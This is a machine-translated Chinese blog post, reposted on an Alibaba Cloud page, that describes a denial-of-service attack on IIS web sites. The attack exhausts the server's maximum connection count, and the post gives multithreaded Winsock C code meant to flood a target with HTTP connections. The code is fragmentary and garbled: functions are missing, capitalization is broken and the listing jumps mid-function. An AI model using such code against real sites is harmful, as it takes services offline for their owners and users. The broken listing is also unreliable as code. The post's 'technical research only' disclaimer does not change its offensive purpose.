Using IIS maximum connection number to realize the Web site DOS (graph) _ Vulnerability Research
Source: Internet
Author: User
Security China Tip: This procedure is only used for technical research, do not use for illegal purposes, otherwise, the consequences of conceit!
Recently bought a space to play, you do not laugh, is the entry level of the virtual host (even poor AH), the various parameters are quite low, especially the number of IIS connections, only 100 (that is, support 100 different access).
There is a problem here. If I have been connected to the site, although I am the same person, but IIS is silly to each connection as a different person, each connection will assign a session to me, when the connection exceeds the server set the maximum number of IIS connections ... Oh, the denial of service is happening.
Specific attacks, of course, we use the procedure to complete. The simple idea is to keep sending HTTP requests to the Web site until the maximum number of connections is exceeded. Just on the machine has seen the shotgun HTTP protocol content lenth limit vulnerability causes denial of service attacks written by the test procedures, and today's request is very similar, take to change slightly. The specific code is as follows:
#include "Winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment (lib, "Ws2_32.lib")
#define BUFLEN 1024
#define MAXTHREADCOUNT 10//Set maximum number of threads
int threadcount=0;
struct MyData
{
Char *ip;
int port;
};
unsigned int resolve (char *name)
{
struct Hostent *he;
unsigned int ip;
if ((ip=inet_addr (name)) = = (-1))
{
if ((He=gethostbyname (name)) ==0)
return 0;
memcpy (&ip,he->h_addr,4);
}
return IP;
}
Hthread = CreateThread (
NULL,//No security attributes
0,//use default stack size
Dos,//thread function
&tmp,//argument to thread function
0,//Use default creation Flags
&dwthreadid); Returns the thread identifier
if (hthread = NULL)
printf ("CreateThread failed.");
threadcount++;
Sleep (200); Delay, otherwise the CPU will be full ...
CloseHandle (Hthread);
}
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service